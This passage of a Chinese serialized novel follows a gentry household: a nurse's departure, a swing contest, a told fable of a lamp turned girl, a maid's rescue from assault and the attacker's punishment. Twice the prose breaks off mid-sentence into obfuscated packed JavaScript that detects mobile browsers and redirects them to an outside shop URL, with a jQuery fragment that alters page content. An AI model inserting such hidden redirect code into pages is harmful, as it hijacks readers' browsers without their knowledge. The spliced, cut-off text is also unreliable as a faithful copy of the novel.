尤其是共事的孙嬷嬷不肯消停,时时就要给邬嬷嬷软硬钉子碰。邬嬷嬷本也无心呆在花家,况且她又是个认真、再如何不肯抹稀泥的人,便决定尽早离开。 银荷着了慌:“嬷嬷也要丢下我?” “我留在这儿也帮不到你,还是想回矴州去。也算见识过了,别处多好,我心里还是毛毛扎扎怪不舒坦。”邬嬷嬷道。 银荷哪里肯听,“那嬷嬷带着我一起,我也想回去,我也不舒坦。” “你可不一样。”邬嬷嬷笑着劝她,“你还是在这儿热热闹闹好,咱们不是早就说妥当了?” “要是遇到事情,我该向谁去说呢。”银荷哭起来。 邬嬷嬷安慰道:“你别怕,既来了,就当他们都是你的家人。我看出来了,他们家上下都明事理,重亲情,老太太更是喜爱你,要不然我也不能放心。” 银荷苦苦哀求,邬嬷嬷只不肯更改决定。银荷急了便说:“要是姑娘在,嬷嬷也会丢下她吗?” 邬嬷嬷没回答,却说:“如今你和姑娘还有什么两样。姑娘从落地我就眼看她长大,你虽差几年,多少算是我从小看着长的。姑娘没了,咱们再伤心也没用,至少你能好好的,我也得些安慰。现在你一天天看见我,总是想起从前,但为着你自个儿好,还是多想想今后——这也是姑娘的愿望,别辜负了她。” “你放心,我在矴州熟人多,肯定有着落,这一去只有好。我还等着你的好消息。” 到了临别这天,银荷打发走其他人,独自送邬嬷嬷到门口。 “姑娘多保重。”邬嬷嬷最后嘱咐一句,心中暗自叹息。她离去后,银荷在原地伫立一会儿,慢吞吞转过身。 花沛正要出门,看见银荷,心欢喜地跳了一下,随即便重重地跌入深谷。 略微顿了一下,他快步走上来。 银荷也看见了他,无精打采上前打招呼:“大表哥。我送送邬嬷嬷。” “她去哪里?”花沛木然问道。 “她回家去。” “怎么?”花沛这才醒过神,“为何要走,去多久?” “不会再来了。”银荷悒悒摇头。 “那怎么行,怎么能丢——是不是有事情,还是在这儿受了气?——我去叫她回来,再好好劝劝她。” “不是。她在京城待不惯,想要回乡。”银荷说。 她语气里有些东西,令花沛顾不得掩饰,他急忙问道:“那表妹呢,习惯吗?” 银荷勉强笑笑:“我很好。” 花沛明白,那意思是:“我孤苦无依,还能去哪里。”他却无法安慰她。而且,他是不是已经将自己还不明了的情绪暴露得太多了?花沛点点头,仓促离开。 过后,花沛还是向瑷宁问起此事。瑷宁说:“她要回家去,我当然没法拦着。老太太也给了不少赏。” “刚来时就说了要走的话么,不是还给她安了差?” 瑷宁便说:“说起来可能有些相干。怪我没想到,当时让她负责给丫环们置办东西,说不好就为这个让人挤兑了。” “那不是孙嬷嬷的事?”花沛皱起眉头。 “正是。常有丫环抱怨买的东西不好,可不是她多吃了扣头。近来越发变本加厉了,上回连老太太那边小丫头都叫唤起来,要让老太太听见更不好,我就要邬嬷嬷去帮着她,也是个监管的意思。” “这些以前你怎么不说?”花沛沉下脸来。 “你都发了话,谁还能说什么。别人的差事都是轮着来,你说她孤儿寡母不容易,既做熟了就一直做着。哪知道她竟能排挤人,偏把邬嬷嬷挤走。看她蛮老实,在这些事上可不含糊,钱串子脑袋,见窟窿就钻。按说月银足够她使了,就一个儿子大了也不用她养,更别说先前跟过母亲,不该这么心窄见短。”瑷宁说了一串话,又沉思道,“我看她就是嫁人没嫁好,经了那一场,也是穷怕了被欺负怕了,倒也可怜。” 花沛说:“别用她了,也不必说什么,月钱照给,不让她沾事就行。” 瑷宁点点头:“也算顾她颜面了。这一来大家都能明白,一是警示别人,别打瞎主意,二也为公平,省得人说我们有偏有向。我原也是这个打算,还没提,怕你不答应。” “我有什么不答应,你尽管办。——不过为这些事,实在是让你受了不少累。” “不比大爷为国为民,在外头辛苦。”瑷宁笑道。 停停花沛又说:“表妹那里你也关照些,她一个人,有些事情老太太又想不到。” “还用你说,我想着呢。表妹和其他人不一样,我一见她就喜欢。” 花沛想再找些话来说,终于没找出来。 . 大暑小暑,上蒸下煮。过了小暑,溽热难当,除了清晨和傍晚,白日里谁也懒得走动。 银荷虽然喜欢夏天,可那时是有由心,而邬嬷嬷一走,好像系住过往的线又断了一根。她只能偶尔打起精神和丫环们说笑几句,其余时候不管干什么都总是闷闷的。 这日下午,终于来了几丝风,日头偏西时,银荷百无聊赖坐在池塘边柳树下,将点心掰成小块引鱼儿啜食。小朝走来说:“三姑娘她们在那儿打秋千呢,姑娘要不要去玩。” “秋千有什么好玩。刚刚洗了澡,又要出汗。” “这会儿不那么热了,好像在比赛呢,姑娘去看看吧。” 银荷便起身抖抖衣裳,和小朝一同去了。 待到跟前一看,秋千架下果然围着人,却不见花瑶。一个小丫环看她过来,笑着说:“三姑娘刚回去了,表姑娘要玩吗?再没人来就是蝉影赢了呢。”银荷抬头,蝉影和二太太房里的一个小丫头踩在两只秋千上,一上一下荡得正欢。 蝉影喊着:“还能再高些吗?”那个小丫头高叫:“不行了,我头都晕了。”旁边有人喊:“不行了就下来,换我。” 银荷看着有趣,她平日里打从这秋千架下过了不知多少次,也没想起来去碰它,现在看她们荡得高,倒是起了玩心:“我来试试。” 那小丫环让出秋千,银荷抓了绳子,脚尖在地上一蹬,轻轻巧巧立了上去,对周围人说:“你们都站远些,且瞧我的。” 她身体灵活有力,不用人推送,没几下就荡得老高,与蝉影平齐了,还扭头对蝉影喊:“咱们再高些。” 秋千架有一丈多高,下面的人瞧得胆战心惊,又叫又笑。 这些声音在银荷听来非常遥远,她感觉风从耳旁、发间吹过,所有的闷热不爽都一扫而空,自己正向天空飞去,仿佛马上就能飞进云里,可惜一瞬间就又落了下来,于是便卯足了劲,下一次还要再高一些。 旁边又传来蝉影的笑喊:“我要抓不住了。” 银荷穿件月白衫,系樱草色裙子,蝉影身着银红衫配竹青裙,两人裙袂飘舞,如同两只彩燕上下翻飞。 不一会儿,银荷已经荡到无法再高了,除了头顶天空,其余东西都变成模糊一片。 她又喊:“蝉影,你在哪里,是不是我赢了。” 蝉影还未答,一旁有个男声说:“你赢了。” 银荷一惊,扭头去看,勉强瞧见花沛负手立在一旁,周围鸦雀无声。她心中暗暗叫糟,一失神便在秋千上晃了一下,花沛忙喊:“表妹留神,停稳了再说话。” 秋千要停下却不太容易,小丫环们见花沛过来,都垂首站在旁边,一动不敢动。待秋千低了一些,花沛上前一把抓住绳子。秋千还在打着转,银荷拼命稳住身子,见花沛已伸出手来,只好扶着他胳膊跳下地。 她赶紧松手站好,微微喘气说:“大表哥出来转转,嫂子也来了吗?” 花沛笑着说:“没有,我一人随便走走。你找她有事?回去我告诉她。” “我没事。”银荷忙摇头,也不知该说些什么。 花沛便解释:“我听你们玩得热闹,就过来看看。” 这时候,蝉影也站了过来,花沛见她们都不敢说话,又笑了说:“倒叫我打扰了。你们继续玩你们的,只是千万要小心些。” 看他走远,几个小丫环抚着胸脯:“还好今天大爷心情好,刚才可把人吓坏了。” 银荷也知花沛沉稳持重,在弟妹们心中算是半个家长,偏总是自己不够得体时被他瞧见,心中不免有些忐忑,笑道:“怕什么,总不至于为这个说我们。” 一人说:“表姑娘不知道,大爷最不喜我们嘻嘻哈哈大喊大闹了,嫌没个样子,影响了姑娘。幸亏三姑娘回去得早,要被大爷看见,就算不说重话,三姑娘也要难受半晚上。” “你知道什么?”蝉影朝她头上一点,“大 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“我倒是想来,可惜没工夫。不过我是专为给你找个伙伴来。”瑷宁拽拽花瑶,“瑶儿,你多来陪陪你表姐,我看你们两个没准能玩到一起。” 花瑶便看着银荷,羞涩一笑。 “太好了。”银荷去拉花瑶的手。她和府里几位姑娘平日虽姐妹互称,见面也亲热,私下里却来往不多,还没有和丫环们相熟。再说花瑶本身还又是腼腆内敛的性子,宁可一人闷着也不主动去找人说话。 银荷喜欢花瑶恬静娇秀的面容,特别是她那双分得稍开、孩童般纯真的眼睛。她赶忙介绍日常喜欢的事情,又把自己的书画之作拿来请花瑶看。 花瑶还差两个月才满十六,年纪虽小,也是细高挑个子,和银荷站在一起,那个青葱劲儿,就像两根才抽出嫩芽的枝条。 瑷宁心道:这两个人倒真是一对亲亲姊妹。 其实若论外表,花瑶和她的姨表姐戚晚当然更像,可是瑷宁不这样看。戚晚和花家姑娘绝不能相提并论,差多着呢。一想到戚晚,瑷宁不由皱眉,赶紧说:“你们想玩什么要什么都来找我,别争抢,天气热,拌嘴就不美了。” 坐了一会儿,瑷宁又说:“今日既然出了门,就多转转,走,我知道有个地方准凉快。” 三人一路走在树荫下,绕到园子东南角,出来便是花潜和映雪独住的小院,一进正房,果然即刻就感到丝丝凉气飘来。映雪正和花瑛头碰头看一本书,见到几人,忙站起,顺手把书塞到一边。“快坐下,这么热的天,你们都跑来,真是让我不过意。” “不是来看你,我们是蹭蹭凉气。”瑷宁走近冰鉴,手扇着风,“不过也是刚好,咱们人倒齐全。” 映雪笑笑:“不算真齐全,诗钰妹妹被母亲叫走了,晚妹妹不知在干什么,该去请了来。” 瑷宁摆摆手:“咱们正好,再多人这屋子也不凉快了。”她打开冰鉴,看看里面方方正正堆着的冰块,又问,“这是刚送来的吧。” 映雪点头:“一日送三回,这是第二盆。” 瑷宁就向她说:“你不知道,原先三弟在家时,夏天人人屋里都有冰。今年三弟不在,两位老爷发话,说能热到哪里去,骄奢之气不可长,让把各处的冰都裁了,只给老太太屋里送。老太太又不要,嫌凉气扎人。你们二爷专门让人找我,说偷偷给你送来,钱他来出。我说,钱能有几个,谁还不心疼弟妹了?” “看看,一家人里面就你特殊,让人怎么能平衡。”瑷宁酸道。 丫环婳儿进来上茶水,听见了笑着说:“大奶奶不知道,我们姑娘在家里的时候也这样,独独只有姑娘屋里有冰。姑爷听见了,不肯让姑娘受委屈,所以才有这话。” “爱多嘴!”映雪瞪婳儿,又不好意思地解释,“我就是特别不耐热,一到夏天身上哪哪儿都不爽快。” 瑷宁抚掌:“该,谁让你名字里有个雪,可不是怕化嘛。” 大家说笑着,瑷宁便翻出之前映雪放到一旁的书来:“蝶梦缘,好哇,做嫂子的,竟然带小姑看这种书。” 映雪劈手抢过来,气道:“本来没事,这一嚷嚷,妹妹们不是全知道了。” 花瑛赶快说:“这还是哥哥给我们找的,哥哥说映雪姐喜欢的肯定不错,所以也许我看。” 银荷拿过书来翻了一翻:“这个我好像也看过,我挺喜欢的。” “由妹妹看这个?”瑷宁意外道,“还喜欢?” 9. 灯儿 “之前看过不少。”银荷老实回答。别看京城的时兴玩意在矴州难以见到,但由心爱读书,曲展总能费心搜罗来各样书籍。当然由心格调高雅,更喜爱真正隽永的诗词文章,其余不过看着玩,而银荷专挑各种话本子看,倒也没人管。 映雪笑道:“瑶妹妹想不想看,我给你也挑一本。咱们都看了,看大嫂告诉谁去。” 花瑶确实一脸羡慕,又有些犹豫,瑷宁见了便说:“没事,想看就看,我还能真告诉老爷太太?”停了一下她又补充,“也不会告诉你大哥。其实我原先也爱看,慢慢就觉得没意思了,翻过来覆过去那么几套,才子佳人,痴男怨女,不就那些事儿。就这一世还不够,生生世世都要凑一块,腻歪死了。” 映雪说:“天下事不就是这么些?说起来差不多,我可是看不腻。由妹妹觉得呢。” “我也还没看腻,不过好些看过就忘了,所以下次看还是个新故事。好多年前我倒是看过一个真正好的,可惜看完一遍书就不见了,但是内容我记得很清楚,是我最喜欢的故事。”银荷认真说道。 “哪一个,不知我看过没有。”映雪急切地问。 “书名我却忘了,故事里有一盏灯变成了人。” “这个没见过,听着很有意思,给我们讲讲吧。”映雪请求道。花瑛和花瑶也都感兴趣地望着银荷,倒让她有些难为情。 “最后肯定还是老一套。”瑷宁不屑地说,“不信你讲来看,反正也没事做,咱们就听听。” 银荷便不再推脱:“故事源自一座庙——在某年某月某地某方,有一所小庙,庙里不知供着哪位菩萨,菩萨前供着盏莲花形的灯。 “灯儿长明不晦,不知过了多少年月,终于修得一点儿灵性。菩萨看它兢兢业业,允它一个愿望。灯儿想,我每日见东西人,听南北事,知道人世间有喜怒哀乐,做人比做灯有趣许多,便说:‘愿为人。’ “‘人身难得,岂能轻许?’菩萨摇头。禁不住灯儿再三恳求,最终还是答允:‘你这样一盏小灯,百斤灯油可够一年。若三日内能得百斤灯油,便让你幻化人形,试试做人滋味。’ “灯儿遂耐心等候。到了三日将尽时,才先后来了两位妈妈。头一位说家里公子赴京赶考,求他能考取功名,娶上一个温柔美丽、知书识礼的好姑娘,磕完头舍了五十斤香油。第二位愿她家小姐能病愈康复,嫁得一位才气过人、谈吐温雅的好郎君,也舍了五十斤香油。” “这不是才子佳人又冒出来了。”瑷宁插道,“你们看我说得准不准,——我也不用听,管保是这两人后来成了一对儿。” 映雪笑恼着拍她:“别妨碍讲故事,你不听我们还要听。” 银荷说:“大嫂说得很对,后来那位小姐和公子生活美满,所以我最喜欢这个故事。” 她接着讲:“两位妈妈离开后,灯儿变成了一位姑娘。” “倒有趣。”花瑛插问,“菩萨知道灯儿想变姑娘?” 瑷宁说:“菩萨也是因材施用,不是伶伶俐俐一盏小灯么,盈盈一握。要是那肚里能盛油的,只好变作个膀大腰圆的莽夫。” 众人脑中想想那番光景,笑个不住。银荷说:“其实是这个缘故:万物修行成人时,往往都变了男人,自以为高一等、好得便宜,男人的名额就被占满了。这正中灯儿之意,它不愿和那些浊物搅和,一心只觉着做女孩才再好不过。” 映雪笑道:“果真还是灯儿修得明白。由妹妹快往下讲。” “灯姑娘跳下案来奔走几步,见自己周身灵便、行动自如,不胜欢喜。她知道菩萨只许了一年,心想我绝不肯再做回灯,又求告:‘菩萨慈悲,赐我一个真正人身。生老病死、爱恨离别,我愿尝尽人世百味。’ 菩萨嗔道:‘你这表面光亮芯子糊涂的瞎灯,成人尚才一刹,不知足一项已学了个十足。我若不应,还当我是懒怠去打点那些阴司阳府;我应了你,你以为人间也好行走无碍?待撞上南墙时,休回来怪我。’ 灯姑娘万千保证了,菩萨方说:‘现下正有这一桩因缘:事情因那两家而起,你便去助他们,一年为限。一年内,若他们各自得偿所愿,你便可永世为人。’ 灯姑娘喜不自胜,满口答应。菩萨叹道:‘不知天高地厚。以后诸般都靠你自己,再不能求我一事。——若你中途反悔,或一年期满时事情未成,你仍旧作灯,而且只能作摆设用的死灯。’ 灯姑娘仍然答应了,为了报答两家人的灯油,也为了永得人身。 因为庙建在山上,不很便当,从没有书生来庙里借光的,灯姑娘对读书考试还一窍不通,她想了一想,自名彩莲,便去那小姐家做了丫环。 小姐待她很好,两人就像姐妹一般。可过了半年,小姐的病却越来越重。彩莲亲眼见到来了好多名医,都无能为力,不禁暗自发愁。终于有位高人说最深的山林中生了一种药材,可医此病。小姐的家人便许诺,谁能取回草药,就将小姐嫁于他。小姐生得很美,有不少人跃跃欲试,但不待走进山林深处,就叫野兽吓得半路折返。 彩莲心想:这才是我倾力相报之时,不如我去山中走一遭。若幸运得了药,救回小姐,自然最好;若不幸被猛兽所食,我原不过是一盏灯,这段日子吃过喝过,行过看过,也不亏了。 于是彩莲进了山。可能因她原身是灯,野兽怕火,都纷纷避让。七七四十九天后,她终于找到了草药。 回去时,她太高兴,一不留神跌落山崖,所幸被一个猎户救起。彩莲腿受了伤,不能行走,便托猎户先去送药。猎户不放心彩莲,又将此事交给与他在一起生活的兄弟。 救了彩莲的猎户诚实英勇,他的弟弟却怯懦卑鄙。小姐向他问起彩莲,他谎称没有见过,说药是自己找到的,要求小姐嫁给他。 小姐已有意中人,不愿嫁他,他就言语逼迫,指责小姐不守诺言。小姐瞧出此人心术不正,疑心他害了彩莲,便去衙门告状。 没想到那官员也不是好人,见小姐貌美,起了歹心,抓住猎户弟弟打了一顿,拷问出彩莲的事。他骗小姐说,兄弟两个都是无恶不作的山匪,彩莲被哥哥抓住藏在深山之中,要是小姐答应嫁给他,他就去救回彩莲。 小姐只好答应,但一定要亲眼看见彩莲平安无事才行。官员让弟弟带路,派手下领了很多人进山去。 这段日子彩莲的腿伤也养好了,准备出山找小姐。她和猎户约定,等小姐嫁人后,她再回来,与那猎户成亲。 就在这时,官府的人寻到他们,二话不说就去抓彩莲。猎户上前与他们搏斗,混乱中,包括弟弟在内的很多人都死了,猎户也受了伤。 彩莲对为首的人说:‘快停下,别再伤人,我可以带你们出去。要是惹恼了我,大不了一起死在这里。你们不识得路,迟早被饿虎吃掉。’ 那人见彩莲肯和他走,回去可以交差,又怕真被困在山中,就依了她的话。彩莲带着几个人专往野兽出没的地方去,让他们全部葬身虎口。 脱身后,彩莲想猎户的伤不算太重,还是先去看看小姐,再尽快赶回来。哪知她刚走出山林,就被埋伏一旁的官员抓住。官员称彩莲害了多人性命,将她下在大牢中,以此威胁小姐嫁他。 彩莲万分着急,趁小姐去探她时,将自己的来历和盘托出。她对小姐说:‘你一定不能嫁这个坏蛋,不然我一样活不了。你快跑吧,为你自己好也就是为我。’ 小姐说:‘原来如此,你说的那位书生就是我想嫁的人。你等着,我为你也为自己,我们的愿望一定都能成真。’ 小姐回去就对官员说答应成亲,但要等一段日子。官员说:‘给你三个月,三个月后彩莲或杀或放,全在于你。’ 当夜,小姐收拾几样东西,偷偷离家,独自上京去找书生。彩莲在牢房又捱了几日,有天晚上,她被人劫狱救出。救她的人即是那个猎户。猎户说:‘我弟弟没了,就只剩你一个亲人,和我回山里去吧,没人能找到我们。’ 彩莲虽然感动,却不得不说:‘我还得等小姐回来。’ 猎户生了气:‘我不顾一切来找你,你却只念着小姐。’ 彩莲也赌气道:‘我又没求你救我,都是你自愿的,不过也是仗势来要挟人。’ 两人不欢而散。彩莲追上小姐,一同上京。猎户仍是担心,一路跟在后面暗中保护。 再说那个书生,竟真的考取了状元。皇帝见他人才好,想留他做驸马,但他一心念着小姐,谢绝了皇帝美意,执意要回乡。 一路上经历了各种波折,最终,书生、小姐和彩莲在一间破庙里相逢了。 小姐看到书生很高兴,虽然害羞,还是直言说要与他成亲。 书生既喜悦又惊讶,既感激又惶恐,感激小姐的一片深情,又生怕她受了委屈,劝说她回家行过六礼,事关终身,不可仓促。 小姐笑道:‘我信你真意,又何需虚礼。’书生仍是犹豫,担心小姐来日后悔,小姐无奈,只好告诉他实情:回乡已赶不及了,距一年之期仅余数日,届时彩莲就会变回灯盏。 躲在一旁听到对话的猎户再也忍耐不住,跳出来质问彩莲:‘我还以为有了心爱的人,谁知你一直是骗我。你只是一盏灯,纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们并没忘。小姐一直记着彩莲。她要好好活着,因为那也是彩莲的心愿。” 映雪想了想,眼里又蕴了泪:“那位小姐也很坚强,要是我可能做不到,一定很难。” “确实很难……” “所以我从来不敢看这种故事,恐怕又要难受好多天。”映雪叹息。 “由心表姐看得久了,说不定忘记了后面,可能还有下一世,彩莲会获得幸福。”花瑛说。 映雪不禁微笑:“一定是这样。但这又成了大嫂腻歪的生生世世。” “可不,”瑷宁也笑,“再来一辈子还会有新的麻烦。菩萨明白,做人不容易。天底下的好都被你一人占了,哪有那么简单的事。赶明儿什么桌子板凳、瓶瓶罐罐都想变人,还挤不下了呢。” 大家便都笑起来。 映雪又说:“彩莲也有一样不是,怎么和猎户都要成亲了,却没告诉他自己的身世,菩萨又不曾禁止。” “她怕说了猎户不理他,而且她原是想真正得了人身后再说出来。”银荷解释道。 “那就是猎户的不是了,”映雪摇头,“看他根本不是无情无义的人,怎么没让彩莲信任他,两个人想办法总比一人强。” “他不爱说话。” “闷葫芦可不好。”映雪叹道,“我一心觉得要一个既有真心,又能说会道的人,灯姑娘才会钟意。” “灯姑娘喜欢勇敢的人。”银荷低声说。 “勇敢当然勇敢,但也还一定要样貌好,若是个丑八怪,你看灯儿照他一眼不。”瑷宁插嘴。 银荷说不出两人为何钟意对方,只记得当时读到相关情节,自己也跟着脸红心跳,只是那些字句当然不能当着大家讲出来。 瑷宁又说:“反正你们小姑娘就是容易被这种故事骗。仔细想想,除了彩莲她们这几个,怎么就再没好人了?官员并不个个都是欺压百姓的坏蛋;皇帝也是父亲,驸马爷岂能硬拉一个回去?——这都是写书人乱编的,公主又不愁嫁,除非女儿多得没办法,皇帝才不会上赶着要便宜哪个识字的,任凭他是状元还是什么。” “灯儿也永远不会真变成人。”银荷笑道,“不过是个故事,大嫂也要挑理。” “好,我不挑。你们喜欢就尽管看去,等回过头来发现不是那么回事,可别哭鼻子。” “只是当个消遣,咱家的姑娘又不是不辨好坏,吓唬她们做什么。”映雪怪瑷宁,又拉了花瑶,“来,我给你找两本。” 10. 骑马 这天,小丫环送过来清洗好的衣服多了两件,银荷认不出是谁的,怕害那丫头被罚,便包了衣服,要小朝悄悄送回浆洗房。 小朝走后,织雨又取出一条裙子:“瞧我这脑袋,还以为这是我的。一低头,我的正在身上穿着呢。” 银荷拿过来:“骑驴找驴,常有的事。我追小朝去。”不等织雨拦她,只管走了。 等她到浆洗房,只一位嬷嬷在,见她来,很是吃惊。银荷解释清楚,嬷嬷说:“劳累姑娘了。咱们这里通着外面,人口杂,我送姑娘回去。” 银荷哪肯要她送,忙跑出来。走了一段,却听到一声呼喊。 声音好像在远处,不甚分明,停下屏息再听,又不闻动静了。从那一声听出是个女子,银荷疑心有人呼救,赶紧四下寻找。 旁边是个闭着的小院,银荷绕到院后,有间小柴房,也关着门,门里传出些像是拳脚声的闷响。 她用力拍门:“谁在里头,快开门,我喊人来了。” 须臾,门猛地拉开,一个衣衫不整的小子慌张冲出来,看都没看银荷一眼,将她往旁边使劲一搡,翻过墙头跑了。 银荷被一推倒地,爬起来顾不得别的,赶进屋去看。 是蝉影在里面,坐在地上,大口喘气。 “哎呀,伤到没有?”银荷忙去扶她。 蝉影摇摇头:“差点儿被他捂死,不过我也狠狠给了他几脚,没叫他占了便宜去。” “是谁,可惜让他跑了。”银荷气愤地说。 蝉影呸了一声:“王兆喜——他舍得跑?下次再敢让我瞧见,非啐他一脸。” 银荷帮着她把身上尘土拍干净。蝉影脖子上被划出两道红印,衣裳也给撕破了,不过略微整理下,倒不大明显。 “好了,走吧。”蝉影说,“请表姑娘别告诉人,我怕姑娘听见,污了她耳朵。” “放心,我不会说给人。”银荷也知道讲出去不好听,只是自由心之后,她便对这类事咽不下去。“那个王什么,就这么放过他?” “他是跟着大爷的,他娘是……”蝉影犹豫着说,“算了,以后我躲他远些,谅他不敢闯进园子里去。” “他既是跟着大爷,咱们悄悄告诉大奶奶去。”银荷愤慨道。 “那不还得让……让人知道了,怪没意思的。” “不要紧,我去说,他不怕丑,咱们怕丑么?大奶奶肯定能帮我们,又不让人知道,又治得了那个人。这种坏蛋,能收拾一个是一个,省得再害人。” 蝉影想想,点头答应:“表姑娘说得对,反正仇已经结上了——不然还以为我怕了他。” 瑷宁面前,银荷只说去洗衣房,见个小子拉着蝉影,上去询问,被推得跌了一跤。瑷宁倒猜了个七八,追问几句,蝉影一委屈,哭出来说:“那王兆喜两次三番逼我嫁他,我不肯,他便去威胁我爹娘。我没办法,才答应会他,为和他说个清楚,没想到他竟然……今日要不是表姑娘去得及时,我已经没了命。我死不要紧,只是脏在王兆喜手上,死也不甘心。若一定要我嫁他,我只求能干干净净去和姑娘见一面,然后一刀抹死在王兆喜跟前,再叫他如愿。” 她边说边流泪,如滚珠一般。银荷听着,眼圈也憋红了。 瑷宁气怔:“我竟不知家里还有这等狗胆包天的。”她安慰蝉影,“你放心,没人要你嫁他。大爷和我提过,除非三妹妹肯放,你自己也愿意,别人谁说话都没用。至于王兆喜,定不会饶他。快别死呀活呀流眼泪的,看回去吓到你们姑娘。” 蝉影这才止泪,瑷宁让人端了水来,蝉影便去一旁打手巾揩脸。 瑷宁又拉银荷说:“你这可就忒孟浪了,跟前又没人,就上去硬碰,万一遇到个亡命狂徒,不是白伤了你?看来园子门白天也得让人时时看着,省得你们乱跑。这要是让老太太知道,肯定不许你再出门。” “大嫂不会告诉老太太吧。”银荷央求。 瑷宁自然不会。“这回就算了,为了蝉影想——可有人会在背后嚼舌头呢,姑娘家就是这上头吃亏。” 银荷和蝉影离开时,正遇花沛回来,停下施了个礼。 花沛进屋就问瑷宁:“表姑娘怎么了,有什么事?” “还不是那个王兆喜惹出来的。”瑷宁没好气道。 花沛皱了眉:“蝉影不愿嫁他就算了,又没人逼她,怎么还找曲姑娘做说客?” 瑷宁冷笑:“王兆喜可不是这么想。他今儿在厨房小门那边拉住蝉影用强,幸好表妹有事过去看见了,不然让他得了手,可不是害蝉影一辈子?传出去,连瑶儿都……那王兆喜狗急跳墙,倒把表妹推了一跤,得亏没伤着,表妹也不愿说,要不老太太听见还得了——问起来头一句就是你跟前的人,可给你脸上添光了。这次要开脱了王兆喜,迟早还是个祸端,你看把他怎么办吧。” 花沛早已气得脸色铁青:“怎么办?把那个没王法的东西只管打死就是。”说着他大声喊人传话,要去拿王兆喜来。 瑷宁急忙拦住:“赶出去就行了,或者送官,自有王法治他。本来该一顿好打,可现今他又不算家里的,真打出个好歹,怎么交代?” “你不用管,我有办法交代。”花沛只不肯听。 “看在他娘的份上——就他一个了,总得给她留个依靠。” 不提这个还好,花沛一想起孙嬷嬷撵走了邬嬷嬷,真是火上浇油。“不怕,她养出的好儿子,要是舍不下,就跟着一起去。从今后谁再犯事,这就是样子。以前都是教训得太少,才让这帮人一个个作起威福来了。” 那王兆喜不知好日子即将到头,仍大摇大摆回了家。他虽是措手不及逃了,但对自己所为丝毫不惧,只恨那突然冒出来的丫环打断了好事——他当银荷是个丫环,料定二人正经不敢怎样。 不过到底给他摸到两把,王兆喜洋洋得意,不免心中更痒,正躺在床上想入非非,琢磨着下回该怎么逼蝉影就范,突然冲进一伙人,二话不说扭了他,堵上嘴,拖进个院子就放倒打将起来。 一群半大小子,干这种拿人揍人的事情分外有劲。平素谁也看不惯王兆喜,又是得了大爷的令,一点儿不手软,板子只管挥下去,打了个臭死。 本来花沛真就要打死了他,还是亏瑷宁赖好劝住了。连夜孙嬷嬷同着奄奄一息的儿子就被撵出了花府。 花沛没说事由,众人不免纳闷猜测。不过兆喜母子在院子里不得人心,去留大家都不在意,没两天就懒得再提,事情便这么过去了。 只有蝉影娘知道些首尾,却喜忧参半:喜的是儿子长乐领了兆喜的差事,且不论日后的出息,现下每月便能多得二两银子。忧的是女儿的前途荣辱未定,或许还牵连着全家人。不过蝉影再次探望父母时,蝉影娘将自己的隐虑藏得严严实实,绝口不提此事,因此蝉影是兴高采烈地回家,又是同样兴高采烈地回到花瑶身边。 . 一日,老太太叫来花沛说:“打算让由儿和你两个妹妹去骑马。” “那不行,摔了怎么办?”花沛脱口而出。 “自然要小心些,还能让她们跌了跤?”老太太怪道,“你怎么竟比你父亲还古板起来了?都说骑骑马,在外头跑跑,冬天不会生病。满家里人全赞同,只你说不行。” “妹妹想骑马?”花沛问。 “姑娘也该有些玩乐。我不知道这些,你做大哥的也不操心。我一直想着,不知什么能让由丫头高兴高兴,你表妹啊——”老太太叹道,“平时不露出来,那是她教养好,心里的苦处、难过都藏着。有几个人能做到,何况她还是小姑娘,才更让人心疼。” “是。之前我没想到。”花沛说,“骑马很好。只要挑几匹温顺的马,让人在旁边看着,就没事。” “可不,就是和你说这个。你大伯、父亲、还有潜儿都说没事,只不过,开头还是咱们自家人在跟前妥帖。潜儿最近寻不出空,要不你看看能不能带她们去,要不就再等段时候。” “我有空闲。”花沛立刻说,“不必再等了,现在正合适,刚好入了秋也凉爽。” “好。”老太太满意地说,“那就过几日,等衣裳做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892548|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。这事还是你办放心,大哥的话她们能听。别让几个妹妹淘气。” 从老太太屋里出来,花沛步履轻快。他终于明白,为何想起表妹总是异样。她当然是一个惹人怜惜的姑娘,而且现在差不多就和亲妹妹一样,可自己从来没有为她做过什么。确实该做,本不用等到老太太吩咐,他是大哥。 他压根没有去想,更不会相信,喜悦的心情可能是源自一个憧憬:沐着初秋的清风,他可以将表妹扶上马去。 回去见了瑷宁,花沛才晓得,骑马一事竟是花涛的提议。 如此说来,花涛和表妹常常见面,表妹对他说了不少话。花沛听了,心里闷闷的。 瑷宁只当是别的缘故,笑道:“是不是看老太太疼表妹太过了,你这个大孙子心里不服?我也不服呢,谁叫咱做媳妇的,不敢开口。 “你不知道,表妹当真贪玩,她在园子里和五弟六弟拿刀剑比划,凑巧,四弟看见了。表妹倒想学剑呢,只是没有教剑的女师父,原说让四弟闲时教教几个妹妹,表妹不大肯。不知怎的,说起骑马来,谁知老太太一口就应了。” 花沛便又高兴起来:“大孙子不服,一样不敢开口。再说不就是骑个马?哪怕家里房子拆了,辟出马场子,也轮不到我不答应。” “呦,平日你还嫌瑶儿不稳当,现在倒纵起她们上房揭瓦了。”瑷宁笑他。 花沛有些不自在:“瑶儿身子弱,该强强筋骨。——另两位表姑娘怎的不去?” “看她们也娇娇弱弱的是吧,那你跟老太太提啊。” “我提什么,我哪里顾得过来,三个妹妹就够操心了。” 